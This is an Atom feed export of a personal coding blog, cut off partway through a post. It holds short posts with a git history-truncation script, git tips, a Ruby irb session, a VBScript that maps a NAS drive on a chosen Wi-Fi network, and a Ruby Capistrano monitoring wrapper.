<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-26418619</id><updated>2011-11-03T15:31:27.453Z</updated><category term='logging'/><category term='win32ole'/><category term='pcap_adapter.vbs'/><category term='tools'/><category term='imagelinking'/><category term='harris'/><category term='http get raw nc telnet sbd'/><category term='file carving'/><category term='remote shell'/><category term='firefox'/><category term='css'/><category term='nessus_extract.pl'/><category term='injection'/><category term='windump'/><category term='nullbyte'/><category term='greasemonkey'/><category term='basics'/><category term='prism'/><category term='novsec'/><category term='asp'/><category term='capistrano capify highline menu'/><category term='xml'/><category term='vizsec'/><category term='vbs wifi ssid wmi cimv2 networkdrives nas'/><category term='nsis'/><category term='security'/><category term='sethc.exe'/><category term='vmware'/><category term='cifs'/><category term='imageinclusion'/><category term='at'/><category term='strcpy'/><category term='metasploit'/><category term='tcl'/><category term='Richard Bejtlich'/><category term='bash'/><category term='rootkit'/><category term='exploits'/><category term='dns'/><category term='digg'/><category term='ids'/><category term='buffer overflow'/><category term='framework'/><category term='plugins'/><category term='exploit'/><category term='google'/><category term='ruby'/><category term='virtualization'/><category term='blind-injection'/><category term='cisco ios'/><category term='javascript'/><category term='event-viewer'/><category term='smb'/><category term='perl'/><category term='sql rootkits'/><category term='monthof'/><category term='hacking'/><category term='ruby object_id'/><category term='redpill'/><category term='png'/><category term='dhtml'/><category term='reverse shell'/><category term='gnucitizen'/><category term='excel'/><category term='shell'/><category term='pcap'/><category term='owasp'/><category term='vbs'/><category term='services'/><category term='fpg'/><category term='flop'/><category term='pipes'/><category term='database'/><category term='apache'/><category term='del.icio.us'/><category term='cvs'/><category term='combined exploit search engine'/><category term='backdoor'/><category term='php'/><category term='nessus'/><category term='cese'/><category term='regkeys'/><category term='sans'/><category term='null'/><category term='regex'/><category term='tags'/><category term='sql'/><category term='unix'/><category term='rebrand'/><category term='dataleakage'/><category term='cryptcat'/><category term='tagging'/><category term='capistrano fork'/><category term='nc'/><category term='wmi'/><category term='ftp'/><category term='sbd'/><title type='text'>codeBurst</title><subtitle type='html'>Its the Code garbage collector. Mind dumps of daily coding antics from a frustrated silly little man. 
VBS, PHP, TCL, TK, PERL, C++, JAVA....what now? Ruby? 

No Wait.. It should be just RUBY!</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>48</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-26418619.post-9140980072595804616</id><published>2011-11-03T15:31:00.001Z</published><updated>2011-11-03T15:31:27.680Z</updated><title type='text'></title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;bin/git-truncate 33174e010f5c586ecd89ce47067f796b751989f5&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;br /&gt;#!/bin/bash&lt;br /&gt;# usage: git-truncate refhashtag&lt;br /&gt;git checkout --orphan temp $1&lt;br /&gt;git commit -m "Truncated history"&lt;br /&gt;git rebase --onto temp $1 master&lt;br /&gt;git branch -D temp&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;pre&gt;&lt;/pre&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-9140980072595804616?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/9140980072595804616/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=9140980072595804616' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/9140980072595804616'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/9140980072595804616'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2011/11/bingit-truncate-33174e010f5c586ecd89ce4.html' title=''/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-5190189488089610079</id><published>2011-10-27T13:39:00.001Z</published><updated>2011-11-03T15:29:08.746Z</updated><title type='text'></title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="post-text"&gt;I've been using git for a while and forget some things.. so for the sake of repeating the internet.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Revert Working Copies&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;For a specific file use:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;git checkout path/to/file/to/revert&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;For all unstaged files use:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&amp;nbsp;&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;git checkout -- .&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Make sure to include the period at the end.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Merge in remote&lt;/b&gt; &lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;code&gt;git checkout master&lt;br /&gt;git remote add username git://github.com/username/repo.git&lt;br /&gt;git fetch username&lt;br /&gt;git merge username/master-or-branch-name&lt;br /&gt;git push origin master&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;Update existing remote&lt;/b&gt;&lt;br /&gt;&lt;pre&gt;shadowbq@thaw:~/snorby_suite$ git remote&lt;br /&gt;origin&lt;br /&gt;shadowbq@thaw:~/snorby_suite$ git fetch origin&lt;br /&gt;remote: Counting objects: 5, done.&lt;br /&gt;remote: Compressing objects: 100% (3/3), done.&lt;br /&gt;remote: Total 3 (delta 2), reused 0 (delta 0)&lt;br /&gt;Unpacking objects: 100% (3/3), done.&lt;br /&gt;From github.com:shadowbq/snorby_suite&lt;br /&gt;   33174e0..7109d83  master     -&amp;gt; origin/master&lt;br /&gt;shadowbq@thaw:~/snorby_suite$ git merge origin/master&lt;br /&gt;Updating 33174e0..7109d83&lt;br /&gt;Fast-forward&lt;br /&gt; TODO.md |   14 +++++++-------&lt;br /&gt; 1 files changed, 7 insertions(+), 7 deletions(-)&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-5190189488089610079?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/5190189488089610079/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=5190189488089610079' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/5190189488089610079'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/5190189488089610079'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2011/10/ive-been-using-git-for-while-and-forget.html' title=''/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-4566173755895917832</id><published>2010-02-22T13:16:00.001Z</published><updated>2010-02-22T13:18:25.934Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='ruby object_id'/><title type='text'></title><content type='html'>A quick look at object_id in ruby.. &lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.oreillynet.com/ruby/blog/2006/02/ruby_values_and_object_ids.html"&gt;Ruby VALUEs and object_ids&lt;/a&gt; @oreillynet has a detailed explanation about the assignment method.&lt;br /&gt;&lt;br /&gt;&lt;div id="code"&gt;irb(main):001:0&gt; "".object_id&lt;br /&gt;=&gt; 23653260&lt;br /&gt;irb(main):002:0&gt; "".object_id&lt;br /&gt;=&gt; 23649800&lt;br /&gt;irb(main):003:0&gt; 1.object_id&lt;br /&gt;=&gt; 3&lt;br /&gt;irb(main):004:0&gt; 0.object_id&lt;br /&gt;=&gt; 1&lt;br /&gt;irb(main):005:0&gt; 2.object_id&lt;br /&gt;=&gt; 5&lt;br /&gt;irb(main):006:0&gt; true.object_id&lt;br /&gt;=&gt; 2&lt;br /&gt;irb(main):007:0&gt; false.object_id&lt;br /&gt;=&gt; 0&lt;br /&gt;irb(main):008:0&gt; nil.object_id&lt;br /&gt;=&gt; 4&lt;br /&gt;irb(main):009:0&gt; @foo = 1&lt;br /&gt;=&gt; 1&lt;br /&gt;irb(main):010:0&gt; @foo.object_id&lt;br /&gt;=&gt; 3&lt;br /&gt;irb(main):011:0&gt; @foo.object_id&lt;br /&gt;=&gt; 3&lt;br /&gt;irb(main):012:0&gt; @foo = " "&lt;br /&gt;=&gt; " "&lt;br /&gt;irb(main):013:0&gt; @foo.object_id&lt;br /&gt;=&gt; 23612570&lt;br /&gt;irb(main):014:0&gt; @foo.object_id&lt;br /&gt;=&gt; 23612570&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-4566173755895917832?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/4566173755895917832/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=4566173755895917832' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/4566173755895917832'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/4566173755895917832'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2010/02/quick-look-at-objectid-in-ruby.html' title=''/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-5796288033628518358</id><published>2010-02-11T17:29:00.000Z</published><updated>2010-02-11T17:29:17.111Z</updated><title type='text'>pcaprub</title><content type='html'>Pcaprub was very fractured throughout the ruby community so I merged many of the projects together. This is the new hotness. :)&lt;br /&gt;&lt;br /&gt;  &lt;span&gt;&lt;b&gt;gem install pcaprub&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Requirements:&lt;br /&gt;&lt;br /&gt;  libpcap - http://www.tcpdump.org&lt;br /&gt;&lt;br /&gt;&lt;a href="http://github.com/shadowbq/pcaprub"&gt;http://github.com/shadowbq/pcaprub&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-5796288033628518358?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/5796288033628518358/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=5796288033628518358' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/5796288033628518358'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/5796288033628518358'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2010/02/pcaprub.html' title='pcaprub'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-1460949954506489263</id><published>2009-08-05T12:09:00.001Z</published><updated>2009-08-05T12:12:24.413Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='vbs wifi ssid wmi cimv2 networkdrives nas'/><title type='text'>VBS Script to map NAS network smb drives over specific SSID wifi homenets (non GPO script)</title><content type='html'>I recently posted this script on &lt;a href="http://groups.google.com/group/microsoft.public.scripting.vbscript/browse_thread/thread/0161a82e4779e2eb/f1aedc258a5a433a?#f1aedc258a5a433a"&gt;usenet&lt;/a&gt; because some many people now&lt;br /&gt;have NAS storage devices accessible via there home wifi networks.&lt;br /&gt;&lt;br /&gt;This script should help out the people with the question on how to mount a network attached storage device (like my coolmax NAS) to there windows profile during windows boot.&lt;br /&gt;&lt;br /&gt;This vbs works by utilizing the wmi and cimv2 mappings to access the the MSNdis_80211_Configuration and the Win32_NetworkAdapter references.&lt;br /&gt;&lt;br /&gt;You need to have the local WMI service enabled for this to work.&lt;br /&gt;&lt;br /&gt;FYI:This has been tested under Windows XP.&lt;br /&gt;&lt;br /&gt;&lt;div id="code"&gt;&lt;br /&gt;'file: nasmapper.vbs&lt;br /&gt;'launch with "cscript c:\nasmapper.vbs //nologo" -&gt; /programs/startup&lt;br /&gt;'VBS Script to map NAS over wifi homenets (non GPO script)&lt;br /&gt; &lt;br /&gt;'Shadowbq - 2009 BSD License&lt;br /&gt;'Reference Functions: ScriptGuy! (MS)&lt;br /&gt;', quiet_lurker (neowin), Aaron P(neowin)&lt;br /&gt; &lt;br /&gt;Option Explicit&lt;br /&gt; &lt;br /&gt;Dim objWMIService, objNet&lt;br /&gt;Dim intSleep, WNICName, knownSSID, retries, maxRetries&lt;br /&gt;Dim mapDrive, mapLocation, mapUsername, mapPassword&lt;br /&gt; &lt;br /&gt;knownSSID="URWP80"  'SSID of Hotspot that has mapped location&lt;br /&gt;WNICName="Dell Wireless 1470 Dual Band WLAN Mini-PCI Card" &lt;br /&gt;'Nic name listed in WMI&lt;br /&gt;maxRetries = 10   &lt;br /&gt;'maxRetries * intSleep/1000 ~= total possible seconds&lt;br /&gt;intSleep = 2000   'wait cycles&lt;br /&gt;mapDrive = "Y:"   'Map to Drive&lt;br /&gt;mapLocation = "\\storage\public" 'Location of Share&lt;br /&gt;mapUsername = "Guest"   'User Account for Share&lt;br /&gt;mapPassword = ""   'User Password for Share&lt;br /&gt; &lt;br /&gt;'If your having problems finding the WNICName you can use the&lt;br /&gt;'\\root\wmi call to ("Select * From MSNdis_80211_Configuration") flip&lt;br /&gt;'  through all wireless devices..&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;Private Sub GetWMI(WMIArray, WMIQuery, WMIRoot)&lt;br /&gt;  'On error resume Next&lt;br /&gt;  DIM WMIClass&lt;br /&gt; &lt;br /&gt;  Set WMIClass = GetObject("winmgmts:{impersonationLevel=impersonate}!\_&lt;br /&gt;\.\root\" &amp; WMIRoot)&lt;br /&gt;  If not(WMIClass is nothing) Then Set WMIArray = WMIClass.ExecQuery_&lt;br /&gt;(WMIQuery)&lt;br /&gt; &lt;br /&gt;End Sub&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;Function SSID()&lt;br /&gt;  'On error resume Next&lt;br /&gt;  DIM objSSIDSet, objSSID, ID, i&lt;br /&gt; &lt;br /&gt;  Call GetWMI(objSSIDSet, "Select * from_&lt;br /&gt;MSNdis_80211_ServiceSetIdentifier Where active=true", "wmi")&lt;br /&gt; &lt;br /&gt;  For Each objSSID in objSSIDSet&lt;br /&gt;      ID = ""&lt;br /&gt; &lt;br /&gt;      For i = 0 to objSSID.Ndis80211SsId(0)&lt;br /&gt;          ID = ID &amp; chr(objSSID.Ndis80211SsId(i + 4))&lt;br /&gt;      Next&lt;br /&gt; &lt;br /&gt;      SSID = ID&lt;br /&gt;  Next&lt;br /&gt;End Function&lt;br /&gt; &lt;br /&gt;Function WNICStatus()&lt;br /&gt;  Dim colItems, objItem, strStatus&lt;br /&gt; &lt;br /&gt;  Call GetWMI(colItems, "Select * from Win32_NetworkAdapter where Name_&lt;br /&gt;= '" &amp; WNICName &amp; "'", "cimv2")&lt;br /&gt; &lt;br /&gt;  For Each objItem in colItems&lt;br /&gt;    Select Case objItem.NetConnectionStatus&lt;br /&gt;        Case 0 strStatus = "Disconnected"&lt;br /&gt;        Case 1 strStatus = "Connecting"&lt;br /&gt;        Case 2 strStatus = "Connected"&lt;br /&gt;        Case 3 strStatus = "Disconnecting"&lt;br /&gt;        Case 4 strStatus = "Hardware not present"&lt;br /&gt;        Case 5 strStatus = "Hardware disabled"&lt;br /&gt;        Case 6 strStatus = "Hardware malfunction"&lt;br /&gt;        Case 7 strStatus = "Media disconnected"&lt;br /&gt;        Case 8 strStatus = "Authenticating"&lt;br /&gt;        Case 9 strStatus = "Authentication succeeded"&lt;br /&gt;        Case 10 strStatus = "Authentication failed"&lt;br /&gt;        Case 11 strStatus = "Invalid address"&lt;br /&gt;        Case 12 strStatus = "Credentials required"&lt;br /&gt;    End Select&lt;br /&gt;  Next&lt;br /&gt; &lt;br /&gt;  WNICStatus = strStatus&lt;br /&gt;End Function&lt;br /&gt; &lt;br /&gt;Function fnMapNetworkDrive (Drive, Path, Uname, Upass)&lt;br /&gt;    Dim i, oDrives&lt;br /&gt; set objNet = Wscript.CreateObject("Wscript.Network")&lt;br /&gt;    Set oDrives = objNet.EnumNetworkDrives&lt;br /&gt;    For i = 0 to oDrives.Count - 1 Step 2    &lt;br /&gt;   ' Find out if an existing network drive exists&lt;br /&gt;      If oDrives.Item(i) = Drive Then&lt;br /&gt;        WScript.Echo "Removing drive: " &amp; Drive&lt;br /&gt;        objNet.RemoveNetworkDrive Drive, true, true&lt;br /&gt;      End If&lt;br /&gt;    Next&lt;br /&gt;    WScript.Echo "Mapping drive: " &amp; Drive &amp; " to path: " &amp; Path&lt;br /&gt;    objNet.MapNetworkDrive Drive, Path, false, Uname, Upass&lt;br /&gt;    fnMapNetworkDrive = "[completed mapping drive]"&lt;br /&gt;    Set i = Nothing&lt;br /&gt;    Set oDrives = Nothing&lt;br /&gt;    Set Drive = Nothing&lt;br /&gt;    Set Path = Nothing&lt;br /&gt;End Function&lt;br /&gt; &lt;br /&gt;Dim nicStatus, nicSSID&lt;br /&gt; &lt;br /&gt;WScript.Echo "NAS Wifi Mapper"&lt;br /&gt;WScript.Echo "=-=-=-=-=-=-=-=-=-=-=-=-=-=-"&lt;br /&gt;WScript.Echo "[Checking NIC Status]"&lt;br /&gt; &lt;br /&gt;nicStatus = WNICStatus()&lt;br /&gt;retries = 0&lt;br /&gt; &lt;br /&gt;while (StrComp(nicStatus, "Connected") &lt;&gt; 0)&lt;br /&gt;  If (retries &lt; maxRetries) Then&lt;br /&gt;    retries = retries + 1&lt;br /&gt;    Wscript.Echo "Nic " &amp; nicStatus &amp; ".."&lt;br /&gt;    Wscript.Sleep intSleep&lt;br /&gt;    nicStatus = WNICStatus()&lt;br /&gt;  Else&lt;br /&gt;    Wscript.Error "*** Max # of connection attempts reached"&lt;br /&gt;  End If&lt;br /&gt;Wend&lt;br /&gt;Wscript.Echo "Connected .. continuing"&lt;br /&gt; &lt;br /&gt;WScript.Echo "[Checking SSID Status]"&lt;br /&gt;nicSSID = SSID()&lt;br /&gt;nicSSID = Left(nicSSID, len(nicSSID)-1)&lt;br /&gt; &lt;br /&gt;Wscript.Echo "SSID: " &amp; nicSSID&lt;br /&gt; &lt;br /&gt;If (StrComp(nicSSID, knownSSID) = 0) Then&lt;br /&gt;  Wscript.Echo "[Correct SSID]"&lt;br /&gt;Else&lt;br /&gt;On Error Resume Next&lt;br /&gt;  Dim errDescription, errSource&lt;br /&gt;  errSource = "NAS Mapper"&lt;br /&gt;  errDescription = "Incorrect SSID for network share to be established"&lt;br /&gt;  Wscript.Echo "An Error:'" &amp; errDescription &amp; "' by '" &amp; errSource &amp;_&lt;br /&gt;"'."&lt;br /&gt;  WScript.Quit 8&lt;br /&gt;End If&lt;br /&gt; &lt;br /&gt;WScript.Echo "[Mapping Drive] "&lt;br /&gt;Wscript.Echo fnMapNetworkDrive (mapDrive, mapLocation, mapUsername,&lt;br /&gt;mapPassword)&lt;br /&gt; &lt;br /&gt;WScript.Quit&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26418619-1460949954506489263?l=shad0wbq.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shad0wbq.blogspot.com/feeds/1460949954506489263/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26418619&amp;postID=1460949954506489263' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/1460949954506489263'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26418619/posts/default/1460949954506489263'/><link rel='alternate' type='text/html' href='http://shad0wbq.blogspot.com/2009/08/vbs-script-to-map-nas-network-smb.html' title='VBS Script to map NAS network smb drives over specific SSID wifi homenets (non GPO script)'/><author><name>Scott MacGregor</name><uri>https://profiles.google.com/110928747419971352527</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-bzDgP405oNM/AAAAAAAAAAI/AAAAAAAAAAA/7S1Aqj718RA/s512-c/photo.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26418619.post-5851866357427453287</id><published>2008-09-26T15:49:00.003Z</published><updated>2008-09-26T16:01:52.379Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='capistrano fork'/><title type='text'>Command Line Capistrano Forked</title><content type='html'>&lt;div id="code"&gt;#!/usr/local/bin/ruby&lt;br /&gt;&lt;br /&gt;# Command Line Capistrano Forked &lt;br /&gt;# (Forked version) &lt;br /&gt;# written by Scott MacGregor - 2008&lt;br /&gt;&lt;br /&gt;require 'rubygems'&lt;br /&gt;require 'capistrano/configuration'&lt;br /&gt;require 'stringio'&lt;br /&gt;require 'optparse'&lt;br /&gt;require 'syslog'&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#Gather list of hosts and create capistrano role string&lt;br /&gt;def monitorlist(hostlist)&lt;br /&gt;   commandstring = "role :sensor, "&lt;br /&gt;  if hostlist.respond_to? :last&lt;br /&gt;    hostlist.each do |hosttarget|&lt;br /&gt;      hosttarget == hostlist.last ? commandstring &lt;&lt; "\"#{hosttarget.strip}\"" : commandstring &lt;&lt; "\"#{hosttarget.strip}\", "&lt;br /&gt;    end&lt;br /&gt;  else&lt;br /&gt;    commandstring &lt;&lt; "\"#{hostlist.strip}\""&lt;br /&gt;  end&lt;br /&gt;  return commandstring&lt;br /&gt;end  &lt;br /&gt;&lt;br /&gt;#Perfom desired login method&lt;br /&gt;def logit (outputIO, logmethod)&lt;br /&gt;  if logmethod &lt;br /&gt;    Syslog.open('monitord')  &lt;br /&gt;    outputIO.string.each {|line| &lt;br /&gt;      &lt;br /&gt;      #ignore monitord information lines&lt;br /&gt;      if line.include?("\[monitord\]")&lt;br /&gt;        next&lt;br /&gt;      end&lt;br /&gt;      &lt;br /&gt;      &lt;br /&gt;      #strip out tty special characters&lt;br /&gt;      # ^\[[33m&lt;br /&gt;      line.gsub!(/\^\[\[[0-9]+m/,"")&lt;br /&gt;      # \e[37m&lt;br /&gt;      line.gsub!(/\e\[[0-9]+m/,"")&lt;br /&gt;      # \033[31m&lt;br /&gt;      line.gsub!(/\\[0-9]+\[[0-9]+m/,"")&lt;br /&gt;      &lt;br /&gt;      #strip out preceding stars&lt;br /&gt;      line.gsub!(/^\s*[*]*/,"")&lt;br /&gt;      &lt;br /&gt;      line.strip!&lt;br /&gt;      &lt;br /&gt;      #uncomment this line if you want STDOUT while SYSLOGING&lt;br /&gt;      #p line&lt;br /&gt;      &lt;br /&gt;      if line.downcase.include?("fail")&lt;br /&gt;        Syslog.crit(line)&lt;br /&gt;      else&lt;br /&gt;        Syslog.notice(line)&lt;br /&gt;      end&lt;br /&gt;    }&lt;br /&gt;  end&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;# Run Forked Process &lt;br /&gt;def tick(queryhost, outputIO, logmethod)&lt;br /&gt;  pid = fork {&lt;br /&gt;&lt;br /&gt;    pidhost = Capistrano::Configuration.new&lt;br /&gt;    if OPTIONS[:syslog] &lt;br /&gt;      pidhost.logger = Capistrano::Logger.new(:output =&gt; outputIO)&lt;br /&gt;    else&lt;br /&gt;      pidhost.logger = Capistrano::Logger.new&lt;br /&gt;    end&lt;br /&gt;    pidhost.load(File.dirname(File.expand_path(__FILE__)) + "/capfile")&lt;br /&gt;    pidhost.load(:string =&gt; monitorlist(queryhost.strip))&lt;br /&gt;&lt;br /&gt;   #  pidhost.set :user, 'capistrano'&lt;br /&gt;   #  pidhost.ssh_options[:username] = monitord'&lt;br /&gt;   #  pidhost.ssh_options[:host_key] = 'ssh-dsa'&lt;br /&gt;   #  pidhost.ssh_options[:paranoid] = false &lt;br /&gt;   &lt;br /&gt;    pidhost.logger.level = OPTIONS[:debug_level]&lt;br /&gt;    begin&lt;br /&gt;      #Call the Capistrano Namespace &amp; command to fork&lt;br /&gt;      pidhost.monitor.default&lt;br /&gt;    rescue Exception =&gt; e&lt;br /&gt;      puts "\t[" + queryhost.strip + "] " + " Failed to establish connection."&lt;br /&gt;      outputIO.puts "\t[" + queryhost.strip + "] " + " Failed to establish connection."&lt;br /&gt;    end&lt;br /&gt;    &lt;br /&gt;    logit(outputIO, logmethod)&lt;br /&gt;    &lt;br /&gt;  }&lt;br /&gt;  Process.waitpid(pid, Process::WNOHANG)&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# Set default options and initializations&lt;br /&gt;OPTIONS = {&lt;br /&gt;  :file       =&gt; "monitorlist",&lt;br /&gt;  :syslog        =&gt; false,&lt;br /&gt;  :debug_level =&gt; 0,&lt;br /&gt;  :dest        =&gt; File.expand_path(File.dirname($0)),&lt;br /&gt;  :hostslist   =&gt; ""&lt;br /&gt;}&lt;br /&gt;hosts=[]&lt;br /&gt;&lt;br /&gt;#Read Command Line Options&lt;br /&gt;ARGV.options do |o|&lt;br /&gt;  script_name = File.basename($0)&lt;br /&gt;  &lt;br /&gt;  o.set_summary_indent('  ')&lt;br /&gt;  o.banner =    "Usage: #{script_name} [OPTIONS]"&lt;br /&gt;  o.define_head "Run capistrano command forked from outside capistrano with additional options.\nWritten by: Scott MacGregor 2008"&lt;br /&gt;  &lt;br /&gt;  o.separator ""&lt;br /&gt;  o.separator "Monitord options:"&lt;br /&gt;  o.on("-R", "--read=[val]", String,&lt;br /&gt;       "Read monitor host list from file",&lt;br /&gt;       "Default: #{OPTIONS[:file]}")   { |OPTIONS[:file]| }&lt;br /&gt;  o.on("-L", "--hosts=[val]", String,&lt;br /&gt;       "List of comma seperated hosts. Encased in double quotes.", "(*OVERRIDES -R option)" ) { |OPTIONS[:hostslist]| }&lt;br /&gt;  o.on("-S", "--syslog",&lt;br /&gt;       "SYSLOG all output")            { |OPTIONS[:syslog]| }&lt;br /&gt;  &lt;br /&gt;  o.separator ""&lt;br /&gt;  o.separator "Common Usage: "&lt;br /&gt;  o.separator "\t./monitord --hosts=\"hostname1, hostname2\""&lt;br /&gt;  o.separator "\t./monitord -R \"customhosts.txt\""&lt;br /&gt;  &lt;br /&gt;  o.separator ""&lt;br /&gt;  o.separator "Common options:"&lt;br /&gt;  o.on("--debug=[0-3]",  Integer, &lt;br /&gt;       "Debug verbosity level",&lt;br /&gt;       "Default: #{OPTIONS[:debug_level]}")   { |OPTIONS[:debug_level]| }&lt;br /&gt;  o.on_tail("-h", "--help", "Show this help message.") { puts o; exit }&lt;br /&gt;    &lt;br /&gt;  begin&lt;br /&gt;    o.parse!&lt;br /&gt;  rescue OptionParser::InvalidOption =&gt; e&lt;br /&gt;    abort "-h --help Show this help message."&lt;br /&gt;  end&lt;br /&gt;&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;if 